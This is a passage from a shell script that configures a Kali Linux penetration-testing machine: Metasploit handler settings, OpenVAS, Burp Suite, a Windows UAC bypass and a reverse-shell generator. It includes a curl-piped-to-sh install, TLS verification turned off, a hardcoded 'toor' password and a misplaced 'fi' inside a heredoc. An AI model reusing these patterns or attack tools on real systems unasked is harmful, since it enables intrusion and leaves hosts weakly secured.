  1743. setg EnableStageEncoding true
  1744. setg LHOST 0.0.0.0
  1745. setg LPORT 443
  1746. EOF
  1747. #use exploit/multi/handler
  1748. #setg AutoRunScript 'multi_console_command -rc "~/.msf4/msf_autorunscript.rc"'
  1749. #set PAYLOAD windows/meterpreter/reverse_https
  1750. fi
  1751. #--- Aliases time
  1752. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  1753. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1754. #--- Aliases for console
  1755. grep -q '^alias msfc=' "${file}" 2>/dev/null \
  1756.   || echo -e 'alias msfc="systemctl start postgresql; msfdb start; msfconsole -q \"\$@\""' >> "${file}"
  1757. grep -q '^alias msfconsole=' "${file}" 2>/dev/null \
  1758.   || echo -e 'alias msfconsole="systemctl start postgresql; msfdb start; msfconsole \"\$@\""\n' >> "${file}"
  1759. #--- Aliases to speed up msfvenom (create static output)
  1760. grep -q "^alias msfvenom-list-all" "${file}" 2>/dev/null \
  1761.   || echo "alias msfvenom-list-all='cat ~/.msf4/msfvenom/all'" >> "${file}"
  1762. grep -q "^alias msfvenom-list-nops" "${file}" 2>/dev/null \
  1763.   || echo "alias msfvenom-list-nops='cat ~/.msf4/msfvenom/nops'" >> "${file}"
  1764. grep -q "^alias msfvenom-list-payloads" "${file}" 2>/dev/null \
  1765.   || echo "alias msfvenom-list-payloads='cat ~/.msf4/msfvenom/payloads'" >> "${file}"
  1766. grep -q "^alias msfvenom-list-encoders" "${file}" 2>/dev/null \
  1767.   || echo "alias msfvenom-list-encoders='cat ~/.msf4/msfvenom/encoders'" >> "${file}"
  1768. grep -q "^alias msfvenom-list-formats" "${file}" 2>/dev/null \
  1769.   || echo "alias msfvenom-list-formats='cat ~/.msf4/msfvenom/formats'" >> "${file}"
  1770. grep -q "^alias msfvenom-list-generate" "${file}" 2>/dev/null \
  1771.   || echo "alias msfvenom-list-generate='_msfvenom-list-generate'" >> "${file}"
  1772. grep -q "^function _msfvenom-list-generate" "${file}" 2>/dev/null \
  1773.   || cat <<EOF >> "${file}" \
  1774.     || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1775. function _msfvenom-list-generate {
  1776.   mkdir -p ~/.msf4/msfvenom/
  1777.   msfvenom --list > ~/.msf4/msfvenom/all
  1778.   msfvenom --list nops > ~/.msf4/msfvenom/nops
  1779.   msfvenom --list payloads > ~/.msf4/msfvenom/payloads
  1780.   msfvenom --list encoders > ~/.msf4/msfvenom/encoders
  1781.   msfvenom --help-formats 2> ~/.msf4/msfvenom/formats
  1782. }
  1783. EOF
  1784. #--- Apply new aliases
  1785. source "${file}" || source ~/.zshrc
  1786. #--- Generate (Can't call alias)
  1787. mkdir -p ~/.msf4/msfvenom/
  1788. msfvenom --list > ~/.msf4/msfvenom/all
  1789. msfvenom --list nops > ~/.msf4/msfvenom/nops
  1790. msfvenom --list payloads > ~/.msf4/msfvenom/payloads
  1791. msfvenom --list encoders > ~/.msf4/msfvenom/encoders
  1792. msfvenom --help-formats 2> ~/.msf4/msfvenom/formats
  1793. #--- First time run with Metasploit
  1794. (( STAGE++ )); echo -e " ${GREEN}[i]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Starting Metasploit for the first time${RESET} ~ this ${BOLD}will take a ~350 seconds${RESET} (~6 mintues)"
  1795. echo "Started at: $(date)"
  1796. systemctl start postgresql
  1797. msfdb start
  1798. msfconsole -q -x 'version;db_status;sleep 310;exit'
  1799.  
  1800.  
  1801. ##### Configuring armitage
  1802. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}armitage${RESET} ~ GUI Metasploit UI"
  1803. export MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml
  1804. for file in /etc/bash.bashrc ~/.zshrc; do     #~/.bashrc
  1805.   [ ! -e "${file}" ] && continue
  1806.   [ -e "${file}" ] && cp -n $file{,.bkup}
  1807.   ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1808.   grep -q 'MSF_DATABASE_CONFIG' "${file}" 2>/dev/null \
  1809.     || echo -e 'MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml\n' >> "${file}"
  1810. done
  1811. #--- Test
  1812. #msfrpcd -U msf -P test -f -S -a 127.0.0.1
  1813.  
  1814.  
  1815. ##### Install exe2hex
  1816. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}exe2hex${RESET} ~ Inline file transfer"
  1817. apt -y -qq install exe2hexbat \
  1818.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1819.  
  1820.  
  1821. ##### Install MPC
  1822. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MPC${RESET} ~ Msfvenom Payload Creator"
  1823. apt -y -qq install msfpc \
  1824.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1825.  
  1826.  
  1827. ##### Configuring Gedit
  1828. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}Gedit${RESET} ~ GUI text editor"
  1829. #--- Install Gedit
  1830. apt -y -qq install gedit \
  1831.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1832. #--- Configure Gedit
  1833. dconf write /org/gnome/gedit/preferences/editor/wrap-last-split-mode "'word'"
  1834. dconf write /org/gnome/gedit/preferences/ui/statusbar-visible true
  1835. dconf write /org/gnome/gedit/preferences/editor/display-line-numbers true
  1836. dconf write /org/gnome/gedit/preferences/editor/highlight-current-line true
  1837. dconf write /org/gnome/gedit/preferences/editor/bracket-matching true
  1838. dconf write /org/gnome/gedit/preferences/editor/insert-spaces true
  1839. dconf write /org/gnome/gedit/preferences/editor/auto-indent true
  1840. for plugin in modelines sort externaltools docinfo filebrowser quickopen time spell; do
  1841.   loaded=$( dconf read /org/gnome/gedit/plugins/active-plugins )
  1842.   echo ${loaded} | grep -q "'${plugin}'" \
  1843.     && continue
  1844.   new=$( echo "${loaded} '${plugin}']" | sed "s/'] /', /" )
  1845.   dconf write /org/gnome/gedit/plugins/active-plugins "${new}"
  1846. done
  1847.  
  1848.  
  1849. ##### Install PyCharm (Community Edition)
  1850. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}PyCharm (Community Edition)${RESET} ~ Python IDE"
  1851. timeout 300 curl --progress -k -L -f "https://download.jetbrains.com/python/pycharm-community-2016.2.3.tar.gz" > /tmp/pycharms-community.tar.gz \
  1852.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pycharms-community.tar.gz" 1>&2       #***!!! hardcoded version!
  1853. if [ -e /tmp/pycharms-community.tar.gz ]; then
  1854.   tar -xf /tmp/pycharms-community.tar.gz -C /tmp/
  1855.   rm -rf /opt/pycharms/
  1856.   mv -f /tmp/pycharm-community-*/ /opt/pycharms
  1857.   mkdir -p /usr/local/bin/
  1858.   ln -sf /opt/pycharms/bin/pycharm.sh /usr/local/bin/pycharms
  1859. fi
  1860.  
  1861.  
  1862. ##### Install wdiff
  1863. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wdiff${RESET} ~ Compares two files word by word"
  1864. apt -y -qq install wdiff wdiff-doc \
  1865.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1866.  
  1867.  
  1868. ##### Install meld
  1869. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}meld${RESET} ~ GUI text compare"
  1870. apt -y -qq install meld \
  1871.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1872. #--- Configure meld
  1873. gconftool-2 -t bool -s /apps/meld/show_line_numbers true
  1874. gconftool-2 -t bool -s /apps/meld/show_whitespace true
  1875. gconftool-2 -t bool -s /apps/meld/use_syntax_highlighting true
  1876. gconftool-2 -t int -s /apps/meld/edit_wrap_lines 2
  1877.  
  1878.  
  1879. ##### Install vbindiff
  1880. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vbindiff${RESET} ~ visually compare binary files"
  1881. apt -y -qq install vbindiff \
  1882.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1883.  
  1884.  
  1885. ##### Install OpenVAS
  1886. if [[ "${openVAS}" != "false" ]]; then
  1887.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}OpenVAS${RESET} ~ vulnerability scanner"
  1888.   apt -y -qq install openvas \
  1889.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1890.   openvas-setup
  1891.   #--- Bug fix (target credentials creation)
  1892.   mkdir -p /var/lib/openvas/gnupg/
  1893.   #--- Bug fix (keys)
  1894.   curl --progress -k -L -f "http://www.openvas.org/OpenVAS_TI.asc" | gpg --import - \
  1895.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading OpenVAS_TI.asc" 1>&2
  1896.   #--- Make sure all services are correct
  1897.   openvas-start
  1898.   #--- User control
  1899.   username="root"
  1900.   password="toor"
  1901.   (openvasmd --get-users | grep -q ^admin$) \
  1902.     && echo -n 'admin user: ' \
  1903.     && openvasmd --delete-user=admin
  1904.   (openvasmd --get-users | grep -q "^${username}$") \
  1905.     || (echo -n "${username} user: "; openvasmd --create-user="${username}"; openvasmd --user="${username}" --new-password="${password}" >/dev/null)
  1906.   echo -e " ${YELLOW}[i]${RESET} OpenVAS username: ${username}"
  1907.   echo -e " ${YELLOW}[i]${RESET} OpenVAS password: ${password}   ***${BOLD}CHANGE THIS ASAP${RESET}***"
  1908.   echo -e " ${YELLOW}[i]${RESET} Run: # openvasmd --user=root --new-password='<NEW_PASSWORD>'"
  1909.   sleep 3s
  1910.   openvas-check-setup
  1911.   #--- Remove from start up
  1912.   systemctl disable openvas-manager
  1913.   systemctl disable openvas-scanner
  1914.   systemctl disable greenbone-security-assistant
  1915.   #--- Setup alias
  1916.   file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  1917.   grep -q '^## openvas' "${file}" 2>/dev/null \
  1918.     || echo -e '## openvas\nalias openvas="openvas-stop; openvas-start; sleep 3s; xdg-open https://127.0.0.1:9392/ >/dev/null 2>&1"\n' >> "${file}"
  1919.   source "${file}" || source ~/.zshrc
  1920. else
  1921.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping OpenVAS${RESET} (missing: '$0 ${BOLD}--openvas${RESET}')..." 1>&2
  1922. fi
  1923.  
  1924.  
  1925. ##### Install vFeed
  1926. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vFeed${RESET} ~ vulnerability database"
  1927. apt -y -qq install vfeed \
  1928.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1929.  
  1930.  
  1931. ##### Install Burp Suite
  1932. if [[ "${burpFree}" != "false" ]]; then
  1933.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Burp Suite (Community Edition)${RESET} ~ web application proxy"
  1934.   apt -y -qq install burpsuite curl \
  1935.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1936.   mkdir -p ~/.java/.userPrefs/burp/
  1937.   file=~/.java/.userPrefs/burp/prefs.xml;   #[ -e "${file}" ] && cp -n $file{,.bkup}
  1938.   [ -e "${file}" ] \
  1939.     || cat <<EOF > "${file}"
  1940. <?xml version="1.0" encoding="UTF-8" standalone="no"?>
  1941. <!DOCTYPE map SYSTEM "http://java.sun.com/dtd/preferences.dtd" >
  1942. <map MAP_XML_VERSION="1.0">
  1943.   <entry key="eulafree" value="2"/>
  1944.   <entry key="free.suite.feedbackReportingEnabled" value="false"/>
  1945. </map>
  1946. EOF
  1947.   #--- Extract CA
  1948.   find /tmp/ -maxdepth 1 -name 'burp*.tmp' -delete
  1949.   export DISPLAY=:0.0
  1950.   timeout 120 burpsuite >/dev/null 2>&1 &
  1951.   PID=$!
  1952.   sleep 15s
  1953.   #echo "-----BEGIN CERTIFICATE-----" > /tmp/PortSwiggerCA \
  1954.   #  && awk -F '"' '/caCert/ {print $4}' ~/.java/.userPrefs/burp/prefs.xml | fold -w 64 >> /tmp/PortSwiggerCA \
  1955.   #  && echo "-----END CERTIFICATE-----" >> /tmp/PortSwiggerCA
  1956.   export http_proxy="http://127.0.0.1:8080"
  1957.   rm -f /tmp/burp.crt
  1958.   while test -d /proc/${PID}; do
  1959.     sleep 1s
  1960.     curl --progress -k -L -f "http://burp/cert" -o /tmp/burp.crt 2>/dev/null      # || echo -e ' '${RED}'[!]'${RESET}" Issue downloading burp.crt" 1>&2
  1961.     [ -f /tmp/burp.crt ] && break
  1962.   done
  1963.   timeout 5 kill ${PID} 2>/dev/null \
  1964.     || echo -e ' '${RED}'[!]'${RESET}" Failed to kill ${RED}burpsuite${RESET}"
  1965.   unset http_proxy
  1966.   #--- Installing CA
  1967.   if [[ -f /tmp/burp.crt ]]; then
  1968.     apt -y -qq install libnss3-tools \
  1969.       || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1970.     folder=$(find ~/.mozilla/firefox/ -maxdepth 1 -type d -name '*.default' -print -quit)
  1971.     certutil -A -n Burp -t "CT,c,c" -d "${folder}" -i /tmp/burp.crt
  1972.     timeout 15 firefox >/dev/null 2>&1
  1973.     timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1974.     #mkdir -p /usr/share/ca-certificates/burp/
  1975.     #cp -f /tmp/burp.crt /usr/share/ca-certificates/burp/
  1976.     #dpkg-reconfigure ca-certificates    # Not automated
  1977.     echo -e " ${YELLOW}[i]${RESET} Installed ${YELLOW}Burp Suite CA${RESET}"
  1978.   else
  1979.     echo -e ' '${RED}'[!]'${RESET}' Did not install Burp Suite Certificate Authority (CA)' 1>&2
  1980.     echo -e ' '${RED}'[!]'${RESET}' Skipping...' 1>&2
  1981.   fi
  1982.   #--- Remove old temp files
  1983.   sleep 2s
  1984.   find /tmp/ -maxdepth 1 -name 'burp*.tmp' -delete 2>/dev/null
  1985.   find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'sessionstore.*' -delete
  1986.   unset http_proxy
  1987. else
  1988.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping Burp Suite${RESET} (missing: '$0 ${BOLD}--burp${RESET}')..." 1>&2
  1989. fi
  1990.  
  1991.  
  1992. ##### Configure python console - all users
  1993. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}python console${RESET} ~ tab complete & history support"
  1994. export PYTHONSTARTUP=$HOME/.pythonstartup
  1995. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  1996. grep -q PYTHONSTARTUP "${file}" \
  1997.   || echo 'export PYTHONSTARTUP=$HOME/.pythonstartup' >> "${file}"
  1998. #--- Python start up file
  1999. cat <<EOF > ~/.pythonstartup \
  2000.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2001. import readline
  2002. import rlcompleter
  2003. import atexit
  2004. import os
  2005.  
  2006. ## Tab completion
  2007. readline.parse_and_bind('tab: complete')
  2008.  
  2009. ## History file
  2010. histfile = os.path.join(os.environ['HOME'], '.pythonhistory')
  2011. try:
  2012.     readline.read_history_file(histfile)
  2013. except IOError:
  2014.     pass
  2015.  
  2016. atexit.register(readline.write_history_file, histfile)
  2017.  
  2018. ## Quit
  2019. del os, histfile, readline, rlcompleter
  2020. EOF
  2021. #--- Apply new configs
  2022. source "${file}" || source ~/.zshrc
  2023.  
  2024.  
  2025. ##### Install virtualenvwrapper
  2026. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}virtualenvwrapper${RESET} ~ virtual environment wrapper"
  2027. apt -y -qq install virtualenvwrapper \
  2028.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2029.  
  2030.  
  2031. ##### Install go
  2032. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}go${RESET} ~ programming language"
  2033. apt -y -qq install golang \
  2034.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2035.  
  2036.  
  2037. ##### Install gitg
  2038. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gitg${RESET} ~ GUI git client"
  2039. apt -y -qq install gitg \
  2040.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2041.  
  2042.  
  2043. ##### Install sparta
  2044. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sparta${RESET} ~ GUI automatic wrapper"
  2045. apt -y -qq install sparta \
  2046.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2047.  
  2048.  
  2049. ##### Install wireshark
  2050. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Wireshark${RESET} ~ GUI network protocol analyzer"
  2051. #--- Hide running as root warning
  2052. mkdir -p ~/.wireshark/
  2053. file=~/.wireshark/recent_common;   #[ -e "${file}" ] && cp -n $file{,.bkup}
  2054. [ -e "${file}" ] \
  2055.   || echo "privs.warn_if_elevated: FALSE" > "${file}"
  2056. #--- Disable lua warning
  2057. [ -e "/usr/share/wireshark/init.lua" ] \
  2058.   && mv -f /usr/share/wireshark/init.lua{,.disabled}
  2059.  
  2060.  
  2061. ##### Install silver searcher
  2062. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}silver searcher${RESET} ~ code searching"
  2063. apt -y -qq install silversearcher-ag \
  2064.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2065.  
  2066.  
  2067. ##### Install rips
  2068. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}rips${RESET} ~ source code scanner"
  2069. apt -y -qq install apache2 php git \
  2070.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2071. git clone -q -b master https://github.com/ripsscanner/rips.git /opt/rips-git/ \
  2072.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2073. pushd /opt/rips-git/ >/dev/null
  2074. git pull -q
  2075. popd >/dev/null
  2076. #--- Add to path
  2077. file=/etc/apache2/conf-available/rips.conf
  2078. [ -e "${file}" ] \
  2079.   || cat <<EOF > "${file}"
  2080. Alias /rips /opt/rips-git
  2081.  
  2082. <Directory /opt/rips-git/ >
  2083.   Options FollowSymLinks
  2084.   AllowOverride None
  2085.   Order deny,allow
  2086.   Deny from all
  2087.   Allow from 127.0.0.0/255.0.0.0 ::1/128
  2088. </Directory>
  2089. EOF
  2090. ln -sf /etc/apache2/conf-available/rips.conf /etc/apache2/conf-enabled/rips.conf
  2091. systemctl restart apache2
  2092.  
  2093.  
  2094. ##### Install graudit
  2095. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}graudit${RESET} ~ source code auditing"
  2096. apt -y -qq install git \
  2097.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2098. git clone -q -b master https://github.com/wireghoul/graudit.git /opt/graudit-git/ \
  2099.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2100. pushd /opt/graudit-git/ >/dev/null
  2101. git pull -q
  2102. popd >/dev/null
  2103. #--- Add to path
  2104. mkdir -p /usr/local/bin/
  2105. file=/usr/local/bin/graudit-git
  2106. cat <<EOF > "${file}" \
  2107.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2108. #!/bin/bash
  2109.  
  2110. cd /opt/graudit-git/ && bash graudit.sh "\$@"
  2111. EOF
  2112. chmod +x "${file}"
  2113.  
  2114.  
  2115. ##### Install libreoffice
  2116. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}LibreOffice${RESET} ~ GUI office suite"
  2117. apt -y -qq install libreoffice \
  2118.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2119.  
  2120.  
  2121. ##### Install ipcalc & sipcalc
  2122. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ipcalc${RESET} & ${GREEN}sipcalc${RESET} ~ CLI subnet calculators"
  2123. apt -y -qq install ipcalc sipcalc \
  2124.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2125.  
  2126.  
  2127. ##### Install asciinema
  2128. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}asciinema${RESET} ~ CLI terminal recorder"
  2129. curl -s -L https://asciinema.org/install | sh
  2130.  
  2131.  
  2132. ##### Install shutter
  2133. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shutter${RESET} ~ GUI static screen capture"
  2134. apt -y -qq install shutter \
  2135.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2136.  
  2137.  
  2138. ##### Install psmisc ~ allows for 'killall command' to be used
  2139. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}psmisc${RESET} ~ suite to help with running processes"
  2140. apt -y -qq install psmisc \
  2141.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2142.  
  2143.  
  2144. ###### Setup pipe viewer
  2145. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pipe viewer${RESET} ~ CLI progress bar"
  2146. apt -y -qq install pv \
  2147.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2148.  
  2149.  
  2150. ###### Setup pwgen
  2151. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pwgen${RESET} ~ password generator"
  2152. apt -y -qq install pwgen \
  2153.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2154.  
  2155.  
  2156. ##### Install htop
  2157. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}htop${RESET} ~ CLI process viewer"
  2158. apt -y -qq install htop \
  2159.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2160.  
  2161.  
  2162. ##### Install powertop
  2163. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}powertop${RESET} ~ CLI power consumption viewer"
  2164. apt -y -qq install powertop \
  2165.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2166.  
  2167.  
  2168. ##### Install iotop
  2169. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}iotop${RESET} ~ CLI I/O usage"
  2170. apt -y -qq install iotop \
  2171.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2172.  
  2173.  
  2174. ##### Install ca-certificates
  2175. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ca-certificates${RESET} ~ HTTPS/SSL/TLS"
  2176. apt -y -qq install ca-certificates \
  2177.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2178.  
  2179.  
  2180. ##### Install testssl
  2181. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}testssl${RESET} ~ Testing TLS/SSL encryption"
  2182. apt -y -qq install testssl.sh \
  2183.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2184.  
  2185.  
  2186. ##### Install UACScript
  2187. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}UACScript${RESET} ~ UAC Bypass for Windows 7"
  2188. apt -y -qq install git windows-binaries \
  2189.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2190. git clone -q -b master https://github.com/Vozzie/uacscript.git /opt/uacscript-git/ \
  2191.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2192. pushd /opt/uacscript-git/ >/dev/null
  2193. git pull -q
  2194. popd >/dev/null
  2195. ln -sf /usr/share/windows-binaries/uac-win7 /opt/uacscript-git/
  2196.  
  2197.  
  2198. ##### Install MiniReverse_Shell_With_Parameters
  2199. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MiniReverse_Shell_With_Parameters${RESET} ~ Generate shellcode for a reverse shell"
  2200. apt -y -qq install git windows-binaries \
  2201.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2202. git clone -q -b master https://github.com/xillwillx/MiniReverse_Shell_With_Parameters.git /opt/minireverse-shell-with-parameters-git/ \
  2203.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2204. pushd /opt/minireverse-shell-with-parameters-git/ >/dev/null
  2205. git pull -q
  2206. popd >/dev/null
  2207. ln -sf /usr/share/windows-binaries/MiniReverse /opt/minireverse-shell-with-parameters-git/
  2208.  
  2209.  
  2210. ##### Install axel
  2211. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}axel${RESET} ~ CLI download manager"
  2212. apt -y -qq install axel \
  2213.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2214. #--- Setup alias
  2215. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  2216. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2217. grep -q '^alias axel' "${file}" 2>/dev/null \
  2218.   || echo -e '## axel\nalias axel="axel -a"\n' >> "${file}"
  2219. #--- Apply new alias
  2220. source "${file}" || source ~/.zshrc
  2221.  
  2222.  
  2223. ##### Install html2text
  2224. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}html2text${RESET} ~ CLI html rendering"
  2225. apt -y -qq install html2text \
  2226.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2227.  
  2228.  
  2229. ##### Install tmux2html
  2230. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}tmux2html${RESET} ~ Render tmux as HTML"
  2231. apt -y -qq install git python python-pip \
  2232.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2233. pip install tmux2html
  2234.  
  2235.  
  2236. ##### Install gparted
  2237. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}GParted${RESET} ~ GUI partition manager"
  2238. apt -y -qq install gparted \
  2239.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2240.  
  2241.  
  2242. ##### Install daemonfs
  2243. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}daemonfs${RESET} ~ GUI file monitor"
  2244. apt -y -qq install daemonfs \
  2245.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2246.  
  2247.  
  2248. ##### Install filezilla
  2249. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}FileZilla${RESET} ~ GUI file transfer"
  2250. apt -y -qq install filezilla \
  2251.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2252. #--- Configure filezilla
  2253. export DISPLAY=:0.0
  2254. timeout 5 filezilla >/dev/null 2>&1     # Start and kill. Files needed for first time run
  2255. mkdir -p ~/.config/filezilla/
  2256. file=~/.config/filezilla/filezilla.xml; [ -e "${file}" ] && cp -n $file{,.bkup}
  2257. [ ! -e "${file}" ] && cat <<EOF> "${file}"
  2258. <?xml version="1.0" encoding="UTF-8"?>
  2259. <FileZilla3 version="3.15.0.2" platform="*nix">
  2260.   <Settings>
  2261.     <Setting name="Default editor">0</Setting>
  2262.     <Setting name="Always use default editor">0</Setting>
  2263.   </Settings>
  2264. </FileZilla3>
  2265. fi
  2266. EOF
  2267. sed -i 's#^.*"Default editor".*#\t<Setting name="Default editor">2/usr/bin/gedit</Setting>#' "${file}"
  2268. [ -e /usr/bin/atom ] && sed -i 's#^.*"Default editor".*#\t<Setting name="Default editor">2/usr/bin/atom</Setting>#' "${file}"
  2269. sed -i 's#^.*"Always use default editor".*#\t<Setting name="Always use default editor">1</Setting>#' "${file}"
  2270.  
  2271.  
  2272. ##### Install ncftp
